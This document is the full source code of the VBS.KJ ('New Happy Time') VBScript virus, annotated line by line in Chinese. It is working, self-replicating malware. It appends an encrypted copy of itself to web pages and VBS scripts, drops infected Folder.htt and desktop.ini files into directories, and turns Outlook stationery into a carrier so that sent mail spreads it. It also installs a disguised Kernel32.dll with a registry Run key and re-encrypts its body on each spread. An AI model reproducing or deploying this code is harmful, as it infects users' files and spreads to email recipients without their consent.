VBS.KJ[新欢乐时光病毒]源代码

VBS.KJ[新欢乐时光病毒]源代码  
'     Virus:   VBS.KJ  
'     2002/7/10  
'  
 
Dim   InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk  
Sub   KJ_start()  
    '     初始化变量  
    KJSetDim()  
    '     初始化环境  
    KJCreateMilieu()  
    '     感染本地或者共享上与html所在目录  
    KJLikeIt()  
    '     通过vbs感染Outlook邮件模板  
    KJCreateMail()  
    '     进行病毒传播  
    KJPropagate()  
End   Sub  
 
'     函数：KJAppendTo(FilePath,TypeStr)  
'     功能：向指定类型的指定文件追加病毒  
'     参数：  
'           FilePath       指定文件路径  
'           TypeStr       指定类型  
Function   KJAppendTo(FilePath,TypeStr)  
    On   Error   Resume   Next  
    '     以只读方式打开指定文件  
    Set   ReadTemp   =   FSO.OpenTextFile(FilePath,1)  
    '     将文件内容读入到TmpStr变量中  
    TmpStr   =   ReadTemp.ReadAll  
    '     判断文件中是否存在"KJ_start()"字符串，若存在说明已经感染，退出函数；  
    '     若文件长度小于1，也退出函数。  
    If   Instr(TmpStr,"KJ_start()")   <>   0   Or   Len(TmpStr)   <   1   Then  
          ReadTemp.Close  
          Exit   Function  
    End   If  
    '     如果传过来的类型是"htt"  
    '           在文件头加上调用页面的时候加载KJ_start()函数;  
    '           在文件尾追加html版本的加密病毒体。  
    '     如果是"html"  
    '           在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体;  
    '     如果是"vbs"  
    '           在文件尾追加vbs版本的病毒体  
    If   TypeStr   =   "htt"   Then  
          ReadTemp.Close  
          Set   FileTemp   =   FSO.OpenTextFile(FilePath,2)  
          FileTemp.Write   "<"   &   "BODY     &   "vbscript:"   &   "KJ_start()"""   &   ">"   &   vbCrLf   &   TmpStr   &   vbCrLf   &   HtmlText  
          FileTemp.Close  
          Set   FAttrib   =   FSO.GetFile(FilePath)  
          FAttrib.attributes   =   34  
    Else  
          ReadTemp.Close  
          Set   FileTemp   =   FSO.OpenTextFile(FilePath,8)  
          If   TypeStr   =   "html"   Then  
                FileTemp.Write   vbCrLf   &   "<"   &   "HTML>"   &   vbCrLf   &   "<"   &   "BODY     &   "vbscript:"   &   "KJ_start()"""   &   ">"   &   vbCrLf   &   HtmlText  
          ElseIf   TypeStr   =   "vbs"   Then  
                FileTemp.Write   vbCrLf   &   VbsText  
          End   If  
          FileTemp.Close  
    End   If  
End   Function  
 
'     函数：KJChangeSub(CurrentString,LastIndexChar)  
'     功能：改变子目录以及盘符  
'     参数：  
'           CurrentString     当前目录  
'           LastIndexChar     上一级目录在当前路径中的位置  
Function   KJChangeSub(CurrentString,LastIndexChar)  
    '     判断是否是根目录  
    If   LastIndexChar   =   0   Then  
          '     如果是根目录  
          '           如果是C:\，返回FinalyDisk盘，并将SubE置为0，  
          '           如果不是C:\，返回将当前盘符递减1，并将SubE置为0  
          If   Left(LCase(CurrentString),1)   =<   LCase("c")   Then  
                KJChangeSub   =   FinalyDisk   &   ":\"  
                SubE   =   0  
          Else  
                KJChangeSub   =   Chr(Asc(Left(LCase(CurrentString),1))   -   1)   &   ":\"  
                SubE   =   0  
          End   If  
    Else  
          '     如果不是根目录，则返回上一级目录名称  
          KJChangeSub   =   Mid(CurrentString,1,LastIndexChar)  
    End   If  
End   Function  
 
'     函数：KJCreateMail()  
'     功能：感染邮件部分  
Function   KJCreateMail()  
    On   Error   Resume   Next  
    '     如果当前执行文件是"html"的，就退出函数  
    If   InWhere   =   "html"   Then  
          Exit   Function  
    End   If  
    '     取系统盘的空白页的路径  
    ShareFile   =   Left(WinPath,3)   &   "Program   Files\Common   Files\Microsoft   Shared\Stationery\blank.htm"  
    '     如果存在这个文件，就向其追加html的病毒体  
    '     否则生成含有病毒体的这个文件  
    If   (FSO.FileExists(ShareFile))   Then  
          Call   KJAppendTo(ShareFile,"html")  
    Else  
          Set   FileTemp   =   FSO.OpenTextFile(ShareFile,2,true)  
          FileTemp.Write   "<"   &   "HTML>"   &   vbCrLf   &   "<"   &   "BODY     &   "vbscript:"   &   "KJ_start()"""   &   ">"   &   vbCrLf   &   HtmlText  
          FileTemp.Close  
    End   If  
    '     取得当前用户的ID和OutLook的版本  
    DefaultId   =   WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default   User   ID")  
    OutLookVersion   =   WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook   Express\MediaVer")  
    '     激活信纸功能，并感染所有信纸  
    WsShell.RegWrite   "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook   Express\"&   Left(OutLookVersion,1)   &".0\Mail\Compose   Use   Stationery",1,"REG_DWORD"  
    Call   KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook   Express\"&   Left(OutLookVersion,1)   &".0\Mail\Stationery   Name",ShareFile)  
    Call   KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook   Express\"&   Left(OutLookVersion,1)   &".0\Mail\Wide   Stationery   Name",ShareFile)  
    WsShell.RegWrite   "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"  
    Call   KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows   Messaging   Subsystem\Profiles\Microsoft   Outlook   Internet   Settings\0a0d020000000000c000000000000046\001e0360","blank")  
    Call   KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows   NT\CurrentVersion\Windows   Messaging   Subsystem\Profiles\Microsoft   Outlook   Internet   Settings\0a0d020000000000c000000000000046\001e0360","blank")  
    WsShell.RegWrite   "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD"  
    Call   KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank")  
    KJummageFolder(Left(WinPath,3)   &   "Program   Files\Common   Files\Microsoft   Shared\Stationery")  
End   Function  
 
 
'       函数:KJCreateMilieu()  
'       功能：创建系统环境  
Function   KJCreateMilieu()  
    On   Error   Resume   Next  
    TempPath   =   ""  
    '       判断操作系统是NT/2000还是9X  
    If   Not(FSO.FileExists(WinPath   &   "WScript.exe"))   Then  
          TempPath   =   "system32\"  
    End   If  
    '       为了文件名起到迷惑性，并且不会与系统文件冲突。  
    '       如果是NT/2000则启动文件为system\Kernel32.dll  
    '       如果是9x启动文件则为system\Kernel.dll  
    If   TempPath   =   "system32\"   Then  
          StartUpFile   =   WinPath   &   "SYSTEM\Kernel32.dll"  
    Else  
          StartUpFile   =   WinPath   &   "SYSTEM\Kernel.dll"  
    End   If  
    '       添加Run值，添加刚才生成的启动文件路径  
    WsShell.RegWrite   "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile  
    '     拷贝前期备份的文件到原来的目录  
    FSO.CopyFile   WinPath   &   "web\kjwall.gif",WinPath   &   "web\Folder.htt"  
    FSO.CopyFile   WinPath   &   "system32\kjwall.gif",WinPath   &   "system32\desktop.ini"  
    '     向%windir%\web\Folder.htt追加病毒体  
    Call   KJAppendTo(WinPath   &   "web\Folder.htt","htt")  
    '     改变dll的MIME头  
    '     改变dll的默认图标  
    '     改变dll的打开方式
WsShell.RegWrite   "HKEY_CLASSES_ROOT\.dll\","dllfile"  
    WsShell.RegWrite   "HKEY_CLASSES_ROOT\.dll\Content   Type","application/x-msdownload"  
    WsShell.RegWrite   "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")  
    WsShell.RegWrite   "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript"  
    WsShell.RegWrite   "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath   &   TempPath   &   "WScript.exe   ""%1""   %*"  
    WsShell.RegWrite   "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"  
    WsShell.RegWrite   "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}"  
    '     启动时加载的病毒文件中写入病毒体  
    Set   FileTemp   =   FSO.OpenTextFile(StartUpFile,2,true)  
    FileTemp.Write   VbsText  
    FileTemp.Close  
End   Function  
 
'     函数：KJLikeIt()  
'     功能：针对html文件进行处理，如果访问的是本地的或者共享上的文件，将感染这个目录  
Function   KJLikeIt()  
    '     如果当前执行文件不是"html"的就退出程序  
    If   InWhere   <>   "html"   Then  
          Exit   Function  
    End   If  
    '     取得文档当前路径  
    ThisLocation   =   document.location  
    '     如果是本地或网上共享文件  
    If   Left(ThisLocation,   4)   =   "file"   Then  
          ThisLocation   =   Mid(ThisLocation,9)  
          '     如果这个文件扩展名不为空，在ThisLocation中保存它的路径  
          If   FSO.GetExtensionName(ThisLocation)   <>   ""   then  
                ThisLocation   =   Left(ThisLocation,Len(ThisLocation)   -   Len(FSO.GetFileName(ThisLocation)))  
          End   If  
          '     如果ThisLocation的长度大于3就尾追一个"\"  
          If   Len(ThisLocation)   >   3   Then  
                ThisLocation   =   ThisLocation   &   "\"  
          End   If  
          '     感染这个目录  
          KJummageFolder(ThisLocation)  
    End   If  
End   Function  
 
'     函数：KJMailReg(RegStr,FileName)  
'     功能：如果注册表指定键值不存在，则向指定位置写入指定文件名  
'     参数：  
'           RegStr         注册表指定键值  
'           FileName       指定文件名  
Function   KJMailReg(RegStr,FileName)  
    On   Error   Resume   Next  
    '     如果注册表指定键值不存在，则向指定位置写入指定文件名  
    RegTempStr   =   WsShell.RegRead(RegStr)  
    If   RegTempStr   =   ""   Then  
          WsShell.RegWrite   RegStr,FileName  
    End   If  
End   Function  
 
'     函数：KJOboSub(CurrentString)  
'     功能：遍历并返回目录路径  
'     参数：  
'           CurrentString     当前目录  
Function   KJOboSub(CurrentString)  
    SubE   =   0  
    TestOut   =   0  
    Do   While   True  
          TestOut   =   TestOut   +   1  
          If   TestOut   >   28   Then  
                CurrentString   =   FinalyDisk   &   ":\"  
                Exit   Do  
          End   If  
          On   Error   Resume   Next  
          '     取得当前目录的所有子目录，并且放到字典中  
          Set   ThisFolder   =   FSO.GetFolder(CurrentString)  
          Set   DicSub   =   CreateObject("Scripting.Dictionary")  
          Set   Folders   =   ThisFolder.SubFolders  
          FolderCount   =   0  
          For   Each   TempFolder   in   Folders  
                FolderCount   =   FolderCount   +   1  
                DicSub.add   FolderCount,   TempFolder.Name  
          Next  
          '     如果没有子目录了，就调用KJChangeSub返回上一级目录或者更换盘符，并将SubE置1  
          If   DicSub.Count   =   0   Then  
                LastIndexChar   =   InstrRev(CurrentString,"\",Len(CurrentString)-1)  
                SubString   =   Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)  
                CurrentString   =   KJChangeSub(CurrentString,LastIndexChar)  
                SubE   =   1  
          Else  
          '     如果存在子目录  
          '           如果SubE为0，则将CurrentString变为它的第1个子目录  
                If   SubE   =   0   Then  
                    CurrentString   =   CurrentString   &   DicSub.Item(1)   &   "\"  
                    Exit   Do  
                Else  
          '           如果SubE为1，继续遍历子目录，并将下一个子目录返回  
                    j   =   0  
                    For   j   =   1   To   FolderCount  
                          If   LCase(SubString)   =   LCase(DicSub.Item(j))   Then  
                                If   j   <   FolderCount   Then  
                                    CurrentString   =   CurrentString   &   DicSub.Item(j+1)   &   "\"  
                                    Exit   Do  
                                End   If  
                          End   If  
                    Next  
                    LastIndexChar   =   InstrRev(CurrentString,"\",Len(CurrentString)-1)  
                    SubString   =   Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1)  
                    CurrentString   =   KJChangeSub(CurrentString,LastIndexChar)  
                End   If  
          End   If  
    Loop  
    KJOboSub   =   CurrentString  
End   Function  
 
'     函数：KJPropagate()  
'     功能：病毒传播  
Function   KJPropagate()  
    On   Error   Resume   Next  
    RegPathvalue   =   "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook   Express\Degree"  
    DiskDegree   =   WsShell.RegRead(RegPathvalue)  
    '     如果不存在Degree这个键值，DiskDegree则为FinalyDisk盘  
    If   DiskDegree   =   ""   Then  
          DiskDegree   =   FinalyDisk   &   ":\"  
    End   If  
    '     继DiskDegree置后感染5个目录  
    For   i=1   to   5  
          DiskDegree   =   KJOboSub(DiskDegree)  
          KJummageFolder(DiskDegree)  
    Next  
    '     将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook   Express\Degree"键值中  
    WsShell.RegWrite   RegPathvalue,DiskDegree  
End   Function  
 
'     函数：KJummageFolder(PathName)  
'     功能：感染指定目录  
'     参数：  
'           PathName       指定目录  
Function   KJummageFolder(PathName)  
    On   Error   Resume   Next  
    '     取得目录中的所有文件集  
    Set   FolderName   =   FSO.GetFolder(PathName)  
    Set   ThisFiles   =   FolderName.Files  
    HttExists   =   0  
    For   Each   ThisFile   In   ThisFiles  
          FileExt   =   UCase(FSO.GetExtensionName(ThisFile.Path))  
          '     判断扩展名  
          '           若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体  
          '           若是VBS则向文件中追加VBS版的病毒体  
          '           若是HTT,则标志为已经存在HTT了  
          If   FileExt   =   "HTM"   Or   FileExt   =   "HTML"   Or   FileExt   =   "ASP"   Or   FileExt   =   "PHP"   Or   FileExt   =   "JSP"   Then  
                Call   KJAppendTo(ThisFile.Path,"html")  
          ElseIf   FileExt   =   "VBS"   Then  
                Call   KJAppendTo(ThisFile.Path,"vbs")  
          ElseIf   FileExt   =   "HTT"   Then  
                HttExists   =   1  
          End   If  
    Next  
    '     如果所给的路径是桌面，则标志为已经存在HTT了  
    If   (UCase(PathName)   =   UCase(WinPath   &   "Desktop\"))   Or   (UCase(PathName)   =   UCase(WinPath   &   "Desktop"))Then  
          HttExists   =   1  
    End   If  
    '     如果不存在HTT  
    '           向目录中追加病毒体  
    If   HttExists   =   0   Then  
          FSO.CopyFile   WinPath   &   "system32\desktop.ini",PathName  
          FSO.CopyFile   WinPath   &   "web\Folder.htt",PathName  
    End   If  
End   Function  


'       函数KJSetDim()  
'           定义FSO,WsShell对象  
'           取得最后一个可用磁盘卷标  
'           生成传染用的加密字串  
'           备份系统中的web\folder.htt和system32\desktop.ini  
Function   KJSetDim()  
    On   Error   Resume   Next  
    Err.Clear  
 
    '       测试当前执行文件是html还是vbs  
    TestIt   =   WScript.ScriptFullname  
    If   Err   Then  
          InWhere   =   "html"  
    Else  
          InWhere   =   "vbs"  
    End   If  
       
    '       创建文件访问对象和Shell对象  
    If   InWhere   =   "vbs"   Then  
          Set   FSO   =   CreateObject("Scripting.FileSystemObject")  
          Set   WsShell   =   CreateObject("WScript.Shell")  
    Else  
          Set   AppleObject   =   document.applets("KJ_guest")  
          AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")  
          AppleObject.createInstance()  
          Set   WsShell   =   AppleObject.GetObject()  
          AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")  
          AppleObject.createInstance()  
          Set   FSO   =   AppleObject.GetObject()  
    End   If  
    Set   DiskObject   =   FSO.Drives  
    '       判断磁盘类型  
    '  
    '       0:   Unknown  
    '       1:   Removable  
    '       2:   Fixed  
    '       3:   Network  
    '       4:   CD-ROM  
    '       5:   RAM   Disk  
    '       如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM   Disk都是在比较靠后的位置。呵呵，如果C:是RAMDISK会怎么样？  
    For   Each   DiskTemp   In   DiskObject  
          If   DiskTemp.DriveType   <>   2   And   DiskTemp.DriveType   <>   1   Then  
                Exit   For  
          End   If  
          FinalyDisk   =   DiskTemp.DriveLetter  
    Next  
       
    '       此前的这段病毒体已经解密，并且存放在ThisText中，现在为了传播，需要对它进行再加密。  
    '       加密算法  
    Dim   OtherArr(3)  
    Randomize  
    '       随机生成4个算子  
    For   i=0   To   3  
          OtherArr(i)   =   Int((9   *   Rnd))  
    Next  
    TempString   =   ""  
    For   i=1   To   Len(ThisText)  
          TempNum   =   Asc(Mid(ThisText,i,1))  
          '对回车、换行(0x0D,0x0A)做特别的处理  
          If   TempNum   =   13   Then  
                TempNum   =   28  
          ElseIf   TempNum   =   10   Then  
                TempNum   =   29  
          End   If  
          '很简单的加密处理，每个字符减去相应的算子，那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。  
          TempChar   =   Chr(TempNum   -   OtherArr(i   Mod   4))  
          If   TempChar   =   Chr(34)   Then  
                TempChar   =   Chr(18)  
          End   If  
          TempString   =   TempString   &   TempChar  
    Next  
    '       含有解密算法的字串  
    UnLockStr   =   "Execute(""Dim   KeyArr(3),ThisText""&vbCrLf&""KeyArr(0)   =   "   &   OtherArr(0)   &   """&vbCrLf&""KeyArr(1)   =   "   &   OtherArr(1)   &   """&vbCrLf&""KeyArr(2)   =   "   &   OtherArr(2)   &   """&vbCrLf&""KeyArr(3)   =   "   &   OtherArr(3)   &   """&vbCrLf&""For   i=1   To   Len(ExeString)""&vbCrLf&""TempNum   =   Asc(Mid(ExeString,i,1))""&vbCrLf&""If   TempNum   =   18   Then""&vbCrLf&""TempNum   =   34""&vbCrLf&""End   If""&vbCrLf&""TempChar   =   Chr(TempNum   +   KeyArr(i   Mod   4))""&vbCrLf&""If   TempChar   =   Chr(28)   Then""&vbCrLf&""TempChar   =   vbCr""&vbCrLf&""ElseIf   TempChar   =   Chr(29)   Then""&vbCrLf&""TempChar   =   vbLf""&vbCrLf&""End   If""&vbCrLf&""ThisText   =   ThisText   &   TempChar""&vbCrLf&""Next"")"   &   vbCrLf   &   "Execute(ThisText)"  
    '       将加密好的病毒体复制给变量   ThisText  
    ThisText   =   "ExeString   =   """   &   TempString   &   """"  
    '       生成html感染用的脚本  
    HtmlText   ="<"   &   "script   language=vbscript>"   &   vbCrLf   &   "document.write   "   &   """"   &   "<"   &   "div   style='position:absolute;   left:0px;   top:0px;   width:0px;   height:0px;   z-index:28;   visibility:   hidden'>"   &   "<""&"""   &   "APPLET   NAME=KJ""&""_guest   HEIGHT=0   WIDTH=0   code=com.ms.""&""activeX.Active""&""XComponent>"   &   "<"   &   "/APPLET>"   &   "<"   &   "/div>"""   &   vbCrLf   &   "<"   &   "/script>"   &   vbCrLf   &   "<"   &   "script   language=vbscript>"   &   vbCrLf   &   ThisText   &   vbCrLf   &   UnLockStr   &   vbCrLf   &   "<"   &   "/script>"   &   vbCrLf   &   "<"   &   "/BODY>"   &   vbCrLf   &   "<"   &   "/HTML>"  
    '       生成vbs感染用的脚本  
    VbsText   =   ThisText   &   vbCrLf   &   UnLockStr   &   vbCrLf   &   "KJ_start()"  
    '       取得Windows目录  
    '       GetSpecialFolder(n)  
    '           0:       WindowsFolder  
    '           1:       SystemFolder  
    '           2:       TemporaryFolder  
    '       如果系统目录存在web\Folder.htt和system32\desktop.ini，则用kjwall.gif文件名备份它们。  
    WinPath   =   FSO.GetSpecialFolder(0)   &   "\"  
    If   (FSO.FileExists(WinPath   &   "web\Folder.htt"))   Then  
          FSO.CopyFile   WinPath   &   "web\Folder.htt",WinPath   &   "web\kjwall.gif"  
    End   If  
    If   (FSO.FileExists(WinPath   &   "system32\desktop.ini"))   Then  
          FSO.CopyFile   WinPath   &   "system32\desktop.ini",WinPath   &   "system32\kjwall.gif"  
    End   If  
End   Function